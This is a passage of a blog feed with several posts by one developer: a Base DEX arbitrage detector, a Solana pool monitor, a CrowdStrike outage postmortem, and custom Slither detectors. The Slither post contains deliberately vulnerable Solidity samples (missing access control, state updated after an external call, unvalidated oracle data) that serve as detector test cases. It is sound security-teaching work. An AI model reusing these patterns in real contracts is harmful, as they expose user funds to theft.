Takeaways &amp;amp; Next Steps
Keep hot loops cheap: A 0–4ms local prefilter avoids spending ~450–530ms per tick on QuoterV2 when spreads or size impact already rule out profitability.

Size changes everything: Going from $1,000 to $5,000 on WETH/USDC pushed second-leg impact from 59 bps to 171 bps, turning a minor negative spread into a ~$75 drag.

Log early, analyze systematically: Writing JSONL events and summarizing them with analyzeJsonl.ts makes it straightforward to compare runs without manually eyeballing scrollback.

The repository, README.md updates, and v2.0 release are available at github.com/rdin777/base_bot. As always, this is an experimental research tool—not financial or execution advice.
Tags: #defi, #web3, #typescript, #ethereum
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>analytics</category>
      <category>cli</category>
      <category>opensource</category>
      <category>web3</category>
    </item>
    <item>
      <title>Designing a Real-Time DEX Arbitrage Detector on Base (Uniswap V3 &amp; Aerodrome)</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Wed, 25 Nov 2026 07:54:42 +0000</pubDate>
      <link>https://dev.to/rdin777/designing-a-real-time-dex-arbitrage-detector-on-base-uniswap-v3-aerodrome-1cn7</link>
      <guid>https://dev.to/rdin777/designing-a-real-time-dex-arbitrage-detector-on-base-uniswap-v3-aerodrome-1cn7</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F10v7mk8h4688lffhhi76.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F10v7mk8h4688lffhhi76.PNG" alt=" " width="800" height="254"&gt;&lt;/a&gt;&lt;br&gt;
Architectural breakdown of a WETH/USDC arbitrage detector on Base—covering fixed-point price normalization, WebSocket-to-HTTP fallbacks, and stale-price protection.&lt;br&gt;
tags: web3, typescript, ethereum, defi&lt;/p&gt;

&lt;p&gt;Monitoring cross-DEX price discrepancies in real time sounds straightforward until you run into practical edge cases: differing pool mechanics, token ordering (&lt;code&gt;token0&lt;/code&gt; vs &lt;code&gt;token1&lt;/code&gt;), precision loss on large integers, flaky WebSocket connections, and stale state during quiet market windows.&lt;/p&gt;

&lt;p&gt;In this post, I'll share the architecture behind a local arbitrage detector I built with &lt;strong&gt;TypeScript&lt;/strong&gt; and &lt;strong&gt;Viem&lt;/strong&gt; to track &lt;strong&gt;WETH/USDC&lt;/strong&gt; spreads between &lt;strong&gt;Uniswap V3&lt;/strong&gt; and &lt;strong&gt;Aerodrome&lt;/strong&gt; on &lt;strong&gt;Base&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Live Walkthrough
&lt;/h2&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/lGqM3bJAte4" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;&lt;em&gt;(Short terminal-only run: &lt;a href="https://youtu.be/F5wYBhbI-QQ" rel="noopener noreferrer"&gt;44s demo&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  System Architecture
&lt;/h2&gt;

&lt;p&gt;Rather than relying on heavy aggregator SDKs or third-party price APIs, the detector reads state directly from two on-chain liquidity pools on Base:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Uniswap V3 WETH/USDC (0.05% tier):&lt;/strong&gt; &lt;code&gt;0xd0b53D9277642d899DF5C87A3966A349A798F224&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Aerodrome Volatile WETH/USDC (0.30% tier):&lt;/strong&gt; &lt;code&gt;0xcDAC0d6c6C59727a65F871236188350531885C43&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On every state update, the engine evaluates both directions (&lt;code&gt;Uniswap -&amp;gt; Aerodrome&lt;/code&gt; and &lt;code&gt;Aerodrome -&amp;gt; Uniswap&lt;/code&gt;) for a configurable trade size (e.g., &lt;code&gt;$1,000&lt;/code&gt;) and calculates estimated net profit after DEX swap fees, a slippage buffer, and Base gas overhead.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Normalizing Two Different AMM Models
&lt;/h2&gt;

&lt;p&gt;Because Uniswap V3 and Aerodrome Volatile represent prices differently, both need to be normalized into a single scale-safe &lt;code&gt;USDC per WETH&lt;/code&gt; figure before comparing spreads:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Token Ordering &amp;amp; Decimals:&lt;/strong&gt; On startup, the detector queries &lt;code&gt;token0()&lt;/code&gt; and &lt;code&gt;token1()&lt;/code&gt; on each contract to verify whether WETH (&lt;code&gt;18&lt;/code&gt; decimals) or USDC (&lt;code&gt;6&lt;/code&gt; decimals) sits in position &lt;code&gt;0&lt;/code&gt;, eliminating hardcoded assumptions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Uniswap V3 (&lt;code&gt;sqrtPriceX96&lt;/code&gt;):&lt;/strong&gt; Concentrated liquidity pools emit &lt;code&gt;sqrtPriceX96&lt;/code&gt; as a Q64.96 fixed-point integer inside &lt;code&gt;Swap&lt;/code&gt; events and &lt;code&gt;slot0()&lt;/code&gt;. Squaring the value, dividing by $2^{192}$, and scaling by decimal differences in integer arithmetic avoids JavaScript floating-point precision loss.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Aerodrome Volatile (&lt;code&gt;getReserves&lt;/code&gt;):&lt;/strong&gt; Constant-product pools emit &lt;code&gt;Sync&lt;/code&gt; events and expose &lt;code&gt;reserve0&lt;/code&gt; / &lt;code&gt;reserve1&lt;/code&gt;. Spot price is derived directly from the decimal-adjusted reserve ratio.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  2. Automatic WebSocket-to-HTTP Polling Fallback
&lt;/h2&gt;

&lt;p&gt;Event subscriptions over &lt;code&gt;wss://&lt;/code&gt; (&lt;code&gt;Swap&lt;/code&gt; on Uniswap V3 and &lt;code&gt;Sync&lt;/code&gt; on Aerodrome) provide the lowest latency, but proxies, local network setups, and RPC rate limits frequently reject WebSocket handshakes with &lt;code&gt;non-101 status code&lt;/code&gt; errors.&lt;/p&gt;

&lt;p&gt;To stay resilient without manual restarts:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Each pool watcher starts with a WebSocket subscription.&lt;/li&gt;
&lt;li&gt;If an &lt;code&gt;onError&lt;/code&gt; handshake or transport failure occurs, the watcher intercepts the error and seamlessly switches that specific pool over to &lt;strong&gt;HTTP event polling&lt;/strong&gt; at a fixed interval.&lt;/li&gt;
&lt;li&gt;Both pools operate independently—if one transport degrades, the other continues uninterrupted.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  3. Stale-Price Guard &amp;amp; Periodic State Synchronization
&lt;/h2&gt;

&lt;p&gt;Purely event-driven bots have a subtle blind spot: if one pool has frequent swaps while the other goes quiet for 30+ seconds, comparing a live price against an old cached event creates false spread signals.&lt;/p&gt;

&lt;p&gt;The detector addresses this with two safeguards:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Background State Sync:&lt;/strong&gt; Alongside event listeners, a lightweight timer queries &lt;code&gt;slot0()&lt;/code&gt; and &lt;code&gt;getReserves()&lt;/code&gt; concurrently every few seconds (with an in-flight lock so slow RPC responses never stack up).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Freshness TTL (&lt;code&gt;MAX_PRICE_AGE_MS&lt;/code&gt;):&lt;/strong&gt; Every price update is stamped with a local timestamp. Before running profit math, the detector verifies that both quotes are fresher than the threshold—otherwise, it skips calculation and logs a stale-price status until both pools sync.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Potential Next Upgrades
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Depth-Aware Price Impact:&lt;/strong&gt; Modeling exact output amounts against active tick liquidity (Uniswap V3) and reserve depth (Aerodrome) instead of spot prices plus a static slippage buffer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;On-Chain Simulation:&lt;/strong&gt; Verifying executable output via &lt;code&gt;eth_call&lt;/code&gt; against &lt;code&gt;QuoterV2&lt;/code&gt; and the Aerodrome Router prior to alerting.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Historical Spread Logging:&lt;/strong&gt; Recording profitable spread windows to structured logs to analyze how long arbitrage opportunities stay open on Base.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you're building on-chain monitoring tools on Base, how do you handle RPC transport fallbacks and cross-pool synchronization? Let me know in the comments!&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>typescript</category>
      <category>web3</category>
    </item>
    <item>
      <title>Monitoring Solana Raydium Pools in Real Time Without Heavy IDL Boilerplate</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Fri, 20 Nov 2026 08:53:57 +0000</pubDate>
      <link>https://dev.to/rdin777/monitoring-solana-raydium-pools-in-real-time-without-heavy-idl-boilerplate-5cai</link>
      <guid>https://dev.to/rdin777/monitoring-solana-raydium-pools-in-real-time-without-heavy-idl-boilerplate-5cai</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc8eyqib3i7zvp7eqgwsh.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc8eyqib3i7zvp7eqgwsh.PNG" alt=" " width="800" height="378"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Markdown&lt;br&gt;
When building on-chain monitoring tools or automated security agents on Solana, latency and simplicity matter. Relying on slow RPC polling or heavy Anchor IDL setups just to watch liquidity changes in a DEX pool introduces unnecessary overhead.&lt;/p&gt;

&lt;p&gt;In this post, I’ll walk through the architecture behind &lt;strong&gt;&lt;code&gt;sentinel-solana&lt;/code&gt;&lt;/strong&gt;—a lightweight, real-time monitoring agent written in TypeScript that decodes Raydium V4 pool buffers directly and tracks liquidity outflows over Helius WebSockets.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/ijdED19QhXs" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  Architecture Overview
&lt;/h2&gt;

&lt;p&gt;To keep the agent fast, modular, and easy to extend, the pipeline is split into two focused layers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Binary Buffer Decoding Layer&lt;/strong&gt; — Parses raw account data from Raydium V4 liquidity pools directly using Raydium's binary layout definitions (&lt;code&gt;LIQUIDITY_STATE_LAYOUT_V4&lt;/code&gt;) and converts reserve/accumulator fields into &lt;code&gt;BigInt&lt;/code&gt; for exact arithmetic without floating-point rounding issues.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Real-Time WebSocket &amp;amp; Guard Layer&lt;/strong&gt; — Establishes low-latency WebSocket subscriptions via Helius RPC, resolves the underlying token vaults, and evaluates real-time balance deltas to flag anomalous liquidity withdrawals.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Step 1: Resolving Raydium V4 Pool State &amp;amp; Vaults
&lt;/h2&gt;

&lt;p&gt;A common gotcha when working with Solana AMMs is assuming token reserves live directly inside the main pool account. In Raydium V4, the pool account stores configuration flags, operational status, and swap accumulators, while the actual token reserves reside in two separate SPL Token accounts: &lt;code&gt;baseVault&lt;/code&gt; and &lt;code&gt;quoteVault&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;On startup, &lt;code&gt;sentinel-solana&lt;/code&gt; fetches the target pool account, validates the buffer length against the expected layout span, and extracts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Pool Status&lt;/strong&gt; — To detect administrative freezes or unexpected state transitions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Base &amp;amp; Quote Mints&lt;/strong&gt; — To confirm the trading pair (&lt;code&gt;SOL&lt;/code&gt; / &lt;code&gt;USDC&lt;/code&gt; in the demo).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vault Public Keys&lt;/strong&gt; — Specifically the &lt;code&gt;quoteVault&lt;/code&gt; address where quote liquidity is held.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Step 2: Dual WebSocket Subscriptions &amp;amp; Drop Detection
&lt;/h2&gt;

&lt;p&gt;Once the vault addresses are resolved, the agent opens two concurrent &lt;code&gt;onAccountChange&lt;/code&gt; WebSocket listeners with &lt;code&gt;confirmed&lt;/code&gt; commitment:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Pool Account Listener&lt;/strong&gt;: Watches the main AMM account for status changes or unexpected pool freezes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Quote Vault Listener&lt;/strong&gt;: Decodes incoming SPL Token account buffer updates on the fly using &lt;code&gt;@solana/spl-token&lt;/code&gt;'s &lt;code&gt;AccountLayout&lt;/code&gt; and compares each new balance against the previous state using &lt;code&gt;BigInt&lt;/code&gt; precision.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If a single update causes liquidity to drop past a configured percentage threshold, the sentinel immediately flags a critical withdrawal alert.&lt;/p&gt;




&lt;h2&gt;
  
  
  Live Mainnet Output
&lt;/h2&gt;

&lt;p&gt;Running the monitor against the mainnet SOL/USDC pool (&lt;code&gt;58oQChx4yWmvKdwLLZzBi4ChoCc2fqCUWBkwMihLYQo2&lt;/code&gt;) resolves the &lt;code&gt;Quote Vault&lt;/code&gt; (&lt;code&gt;HLmqeL62xR1QoZ1HKKbXRrdN1p3phKpxRMb2VVopvBBz&lt;/code&gt;) and streams every swap's balance change in real time:&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
text
Initializing Sentinel-Solana for pool: 58oQChx4yWmvKdwLLZzBi4ChoCc2fqCUWBkwMihLYQo2
Pool successfully decoded:
   Base Mint:  So11111111111111111111111111111111111111112
   Quote Mint: EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v
   Quote Vault (Liquidity): HLmqeL62xR1QoZ1HKKbXRrdN1p3phKpxRMb2VVopvBBz
WebSocket subscriptions active. Waiting for real-time events...
Quote Vault balance updated: 8015896570107
Quote Vault balance updated: 8015898213075
Quote Vault balance updated: 8015947713075
What's Next
This architecture provides a low-latency foundation that can be extended with:

Instant Alerting: Dispatching critical liquidity drop alerts directly to Telegram or Discord webhooks.

Dual-Vault Correlation: Tracking both baseVault and quoteVault simultaneously to distinguish normal arbitrage swaps from one-sided liquidity drains.

Custom Program Layouts: Applying the same binary buffer parsing approach with @coral-xyz/borsh to monitor custom Anchor or native Solana contracts.

How would you approach real-time anomaly detection and alerting on Solana AMM pools? Feel free to share your thoughts or ask questions about the architecture in the comments below.

Markdown
## What's Next

This architecture provides a low-latency foundation that can be extended with:
- **Instant Alerting**: Dispatching critical liquidity drop alerts directly to Telegram or Discord webhooks.
- **Dual-Vault Correlation**: Tracking both `baseVault` and `quoteVault` simultaneously to distinguish normal arbitrage swaps from one-sided liquidity drains.
- **Custom Program Layouts**: Applying the same binary buffer parsing approach with `@coral-xyz/borsh` to monitor custom Anchor or native Solana contracts.

How would you approach real-time anomaly detection and alerting on Solana AMM pools? Feel free to share your thoughts or ask questions about the architecture in the comments below.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>architecture</category>
      <category>blockchain</category>
      <category>typescript</category>
      <category>web3</category>
    </item>
    <item>
      <title>The $10 Billion Bug: How a Single Logic Error in CrowdStrike Grounded the World's Airlines</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Sat, 14 Nov 2026 10:03:14 +0000</pubDate>
      <link>https://dev.to/rdin777/the-10-billion-bug-how-a-single-logic-error-in-crowdstrike-grounded-the-worlds-airlines-2gc3</link>
      <guid>https://dev.to/rdin777/the-10-billion-bug-how-a-single-logic-error-in-crowdstrike-grounded-the-worlds-airlines-2gc3</guid>
      <description>&lt;p&gt;markdown&lt;/p&gt;

&lt;h1&gt;
  
  
  The $10 Billion Bug: How a Single Logic Error in CrowdStrike Grounded the World's Airlines
&lt;/h1&gt;

&lt;p&gt;On July 19, 2024, the largest IT outage in history took down 8.5 million Windows devices worldwide. Airlines canceled 5,000+ flights, hospitals postponed surgeries, banks halted transactions, and TV stations went dark.&lt;/p&gt;

&lt;p&gt;The culprit? Not a cyberattack. Not a state-sponsored hack. Just a single flawed logic check in a software update from cybersecurity company CrowdStrike.&lt;/p&gt;

&lt;p&gt;In this article, I'll break down &lt;strong&gt;what technically went wrong&lt;/strong&gt;, why it caused an aviation crisis, and what every developer can learn from this disaster.&lt;/p&gt;




&lt;h2&gt;
  
  
  🔍 The Technical Root Cause
&lt;/h2&gt;

&lt;p&gt;CrowdStrike's &lt;strong&gt;Falcon Sensor&lt;/strong&gt; is an endpoint detection and response (EDR) agent installed on millions of enterprise machines. It runs at the kernel level (Ring 0) of Windows, which gives it deep system access but also makes it extremely dangerous if it bugs out.&lt;/p&gt;

&lt;p&gt;On that Friday, CrowdStrike pushed a routine content update — &lt;strong&gt;Channel File 291&lt;/strong&gt; — to its customers. This file contained new threat detection signatures.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Fatal Flaw
&lt;/h3&gt;

&lt;p&gt;The update included a logic error in how the driver parsed certain memory structures. Specifically, the driver attempted to read from an &lt;strong&gt;invalid memory address&lt;/strong&gt; when processing a particular type of input.&lt;/p&gt;

&lt;p&gt;In simplified terms, the buggy code looked something like this:&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
c
// Pseudocode illustrating the type of error
void process_threat_signature(struct config* cfg) {
    // BUG: No bounds check before dereferencing
    struct rule* r = cfg-&amp;gt;rules[cfg-&amp;gt;rule_count]; // ← Out-of-bounds access!

    if (r-&amp;gt;pattern != NULL) {
        apply_detection(r);
    }
}
When the Falcon driver loaded this malformed config at boot time, it triggered a kernel panic — the Windows equivalent of a fatal crash. The result? The infamous Blue Screen of Death (BSOD) with error code CRITICAL_PROCESS_DIED.
Why It Was So Hard to Fix
Normally, a bad update can be rolled back remotely. But because the crash happened during boot, affected machines entered an infinite reboot loop. IT teams had to:
Boot each machine into Windows Safe Mode
Manually navigate to C:\Windows\System32\drivers\CrowdStrike\
Delete the offending .sys file
Reboot normally
For enterprises with thousands of endpoints — especially those without remote management tools like SCCM or Intune properly configured — this meant physically visiting every machine.
✈️ Why Airlines Collapsed
You might wonder: "Airlines have backup systems, right? Why did they fall apart?"
The answer is regulatory compliance, not technical failure.
The Crew Scheduling Problem
Under FAA regulations (14 CFR Part 117), airlines must track flight duty periods and rest requirements for every crew member. A pilot cannot legally fly if the system cannot confirm they're within legal limits.
When the crew scheduling systems (running on Windows servers with CrowdStrike) went down:
Airlines couldn't verify if pilots were legally allowed to fly
Even if a plane was ready and the crew was present, the law forbade departure
Manual workarounds exist but are too slow for a hub with 1,000+ daily flights
Why Delta Suffered Most
Delta Air Lines canceled over 7,000 flights across 5 days — far worse than United or American. Why?
Legacy infrastructure: Delta still relied on older, tightly-coupled systems that couldn't fail gracefully
Poor disaster recovery: Their backup systems also depended on the same CrowdStrike-protected Windows servers
Cascading failures: When crew scheduling broke, it created a backlog that took days to clear, even after systems came back online
This is a classic example of a cascading failure in distributed systems — one component fails, and the lack of proper isolation brings down the entire chain.
📊 The Scale of the Disaster
Metric
Impact
Windows devices affected
~8.5 million
Flights canceled globally
5,000+
Delta flights canceled
7,000+ over 5 days
Estimated economic cost
$10+ billion
Countries affected
40+
Duration of major disruption
4-6 days
For comparison, the 2017 NotPetya ransomware attack — widely considered one of the most destructive cyberattacks in history — caused about $10 billion in damage. This outage matched it, without a single malicious actor involved.
🛠️ Lessons for Developers
1. Never Deploy Untested Kernel-Level Code
The Falcon Sensor runs in Ring 0. A bug here doesn't just crash your app — it crashes the entire machine. Kernel code requires:
Extensive integration testing
Canary deployments (roll out to 1% first)
Fast rollback mechanisms
2. Design for Graceful Degradation
Delta's systems either worked fully or not at all. Modern systems should be designed to fail open for critical paths:
If crew scheduling is down, allow manual override with audit trails
If payment processing fails, queue transactions instead of blocking
3. Avoid Single Points of Failure in Security Tooling
CrowdStrike had ~60% market share in enterprise EDR. When one vendor dominates, their bugs become systemic risks. Consider:
Multi-vendor strategies for critical infrastructure
Vendor-agnostic monitoring that doesn't depend on a single agent
4. Test Rollback Procedures Regularly
Many companies discovered during the outage that their "rollback plan" was theoretical. Run chaos engineering exercises:
Simulate a bad update in staging
Practice the recovery procedure quarterly
Document the exact steps (including file paths) for manual recovery
5. Separate Compliance Systems from General IT
Regulatory-critical systems (crew scheduling, medical records, financial ledgers) should have independent infrastructure with their own recovery procedures. Don't let a general IT outage create a legal compliance crisis.
🔮 What Changed After
Since the incident:
CrowdStrike overhauled their update validation pipeline and introduced staged rollouts
Microsoft accelerated work on kernel-level isolation features in Windows
Airlines invested in offline-capable crew management systems
Enterprises worldwide reviewed their dependency on single-vendor security stacks
The FAA and other regulators are now considering rules requiring manual override capabilities for safety-critical systems.
💭 Final Thoughts
The CrowdStrike outage wasn't a failure of technology — it was a failure of process. A single untested code path, deployed without proper safeguards, brought down global infrastructure.
As developers, we often focus on preventing malicious attacks. But this incident reminds us that our own mistakes can be just as destructive. The best security posture includes protecting systems from our own bugs.
Stay humble. Test thoroughly. And always have a rollback plan.
What's your take on the CrowdStrike incident? Have you implemented any of these lessons in your own systems? Let me know in the comments!
#devops #cybersecurity #windows #crowdstrike #incident-response #reliability #software-engineering

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>softwareengineering</category>
      <category>sre</category>
    </item>
    <item>
      <title>Building 3 Custom Slither Detectors for Smart Contract Security (v0.4.0 Release)</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Thu, 12 Nov 2026 11:48:15 +0000</pubDate>
      <link>https://dev.to/rdin777/building-3-custom-slither-detectors-for-smart-contract-security-v040-release-1g4g</link>
      <guid>https://dev.to/rdin777/building-3-custom-slither-detectors-for-smart-contract-security-v040-release-1g4g</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmr21egomgsle8xb7d6mp.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmr21egomgsle8xb7d6mp.PNG" alt=" " width="800" height="403"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After weeks of development, I'm excited to announce &lt;strong&gt;v0.4.0&lt;/strong&gt; of my custom Slither detector toolkit — a collection of specialized static analysis tools designed to catch smart contract vulnerabilities that standard detectors sometimes miss.&lt;/p&gt;

&lt;p&gt;This release includes &lt;strong&gt;3 production-ready detectors&lt;/strong&gt; focused on CEX integrations, oracle manipulations, and DeFi security patterns.&lt;/p&gt;

&lt;p&gt;🔗 &lt;strong&gt;GitHub Repository:&lt;/strong&gt; &lt;a href="https://github.com/rdin777/slither-cex-detector" rel="noopener noreferrer"&gt;https://github.com/rdin777/slither-cex-detector&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🎥 &lt;strong&gt;Full Video Demo:&lt;/strong&gt; &lt;a href="https://youtu.be/JwPMrYFv454" rel="noopener noreferrer"&gt;https://youtu.be/JwPMrYFv454&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Custom Detectors?
&lt;/h2&gt;

&lt;p&gt;While &lt;a href="https://github.com/crytic/slither" rel="noopener noreferrer"&gt;Slither&lt;/a&gt; comes with dozens of built-in detectors, real-world smart contract audits often require specialized checks for specific business logic. For example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CEX integration functions that lack proper access control&lt;/li&gt;
&lt;li&gt;Oracle price feeds used without validation&lt;/li&gt;
&lt;li&gt;View functions that might return stale data during external calls&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These patterns are common in DeFi protocols but aren't always caught by generic detectors. That's why I built this toolkit.&lt;/p&gt;




&lt;h2&gt;
  
  
  Detector 1: UnprotectedCEXCallback
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What it detects:&lt;/strong&gt; Functions that handle external data (oracle updates, CEX callbacks) without access control or signature verification.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt; If an oracle update function is unprotected, anyone can call it and manipulate prices, leading to exploits like flash loan attacks or liquidation manipulation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example Vulnerability:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
solidity
contract CEXOracle {
    address public owner;
    uint256 public price;

    // ⚠️ VULNERABLE: No access control!
    function updatePrice(uint256 _newPrice) external {
        price = _newPrice; // Anyone can call this!
    }

    // ✅ SAFE: Proper access control
    function updatePriceSafe(uint256 _newPrice) external {
        require(msg.sender == owner, "Not owner");
        price = _newPrice;
    }
}
Running the Detector:
bash
python run_detector.py unprotected-cex-callback CEXOracle.sol
Output:
[!] VULNERABILITIES FOUND: 1
[1] Function updatePrice in CEXOracle handles external data but lacks access control or signature verification.
Detector 2: ReadOnlyReentrancy
What it detects: View functions that read state variables modified by functions containing external calls (risk of returning stale data).
Why it matters: If a contract updates its state AFTER making an external call (violating the Checks-Effects-Interactions pattern), a view function called during that external call could return outdated information. Attackers can exploit this for arbitrage or manipulation.
Example Vulnerability:
solidity
contract VulnerableStaking {
    mapping(address =&amp;gt; uint256) public balances;

    // ⚠️ VULNERABLE: State update AFTER external call
    function withdraw(uint256 amount) external {
        require(balances[msg.sender] &amp;gt;= amount);

        token.transfer(msg.sender, amount); // External call first!

        balances[msg.sender] -= amount; // State update too late
    }

    // View function can return stale data during transfer
    function getBalance(address user) external view returns (uint256) {
        return balances[user];
    }
}
Running the Detector:
bash
python run_detector.py readonly-reentrancy ReadOnlyReentrancy.sol
Note: This is a heuristic detector that may produce false positives. Manual review of execution order is recommended.
Detector 3: TaintedDataFlow
What it detects: Usage of unvalidated external data in critical operations (transfers, calculations).
Why it matters: If data from an external oracle is used without validation (e.g., checking if price &amp;gt; 0), it can lead to division by zero, incorrect calculations, or fund drainage.
Example Vulnerability:
solidity
contract TaintedLending {
    IPriceFeed public priceFeed;

    // ⚠️ VULNERABLE: No validation of oracle data
    function liquidate(address user) external {
        uint256 price = priceFeed.getPrice(); // External data (tainted)

        uint256 liquidationAmount = (1000 * 1e18) / price; // Division by zero if price = 0!

        payable(msg.sender).transfer(liquidationAmount);
    }

    // ✅ SAFE: Data is validated
    function liquidateSafe(address user) external {
        uint256 price = priceFeed.getPrice();

        require(price &amp;gt; 0, "Invalid price"); // Sanitizer!

        uint256 liquidationAmount = (1000 * 1e18) / price;
        payable(msg.sender).transfer(liquidationAmount);
    }
}
Running the Detector:
bash
python run_detector.py tainted-data-flow TaintedData.sol
Output:
[!] VULNERABILITIES FOUND: 1
[1] Function liquidate in TaintedLending uses external data without validation before critical operations.
Installation &amp;amp; Usage
Requirements:
Python 3.8+
Slither (pip install slither-analyzer)
Quick Start:
bash
# Clone the repository
git clone https://github.com/rdin777/slither-cex-detector.git
cd slither-cex-detector

# Create virtual environment
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate

# Install Slither
pip install slither-analyzer

# Run a detector
python run_detector.py unprotected-cex-callback CEXOracle.sol
Video Demo
I recorded a complete walkthrough of all 3 detectors with real examples:

Watch the full demo: https://youtu.be/JwPMrYFv454
What's Next?
The roadmap for v0.5.0 includes:
Improve ReadOnlyReentrancy to analyze AST execution order and reduce false positives
Add GitHub Actions CI/CD workflow for automatic detector runs on PRs
Expand Taint Analysis to track multi-hop data flows
Add more detectors for common DeFi vulnerabilities
Contributing
Contributions, issues, and feature requests are welcome! Feel free to check the issues page.
GitHub Repository: https://github.com/rdin777/slither-cex-detector
Conclusion
Building custom static analysis detectors is a powerful way to catch domain-specific vulnerabilities in smart contracts. This toolkit demonstrates how Slither's flexible architecture can be extended to create specialized security tools.
If you found this useful, please give the repository a ⭐ and feel free to contribute!
Stay secure out there. 🛡️
#solidity #web3security #slither #smartcontracts #cybersecurity #opensource #defi #blockchain

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>cybersecurity</category>
      <category>github</category>
      <category>opensource</category>
      <category>security</category>
    </item>
    <item>
      <title>The Lazarus Group Playbook: How North Korea Hacks Crypto (And What Smart Contract Developers Must Learn)</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Sat, 07 Nov 2026 10:05:14 +0000</pubDate>
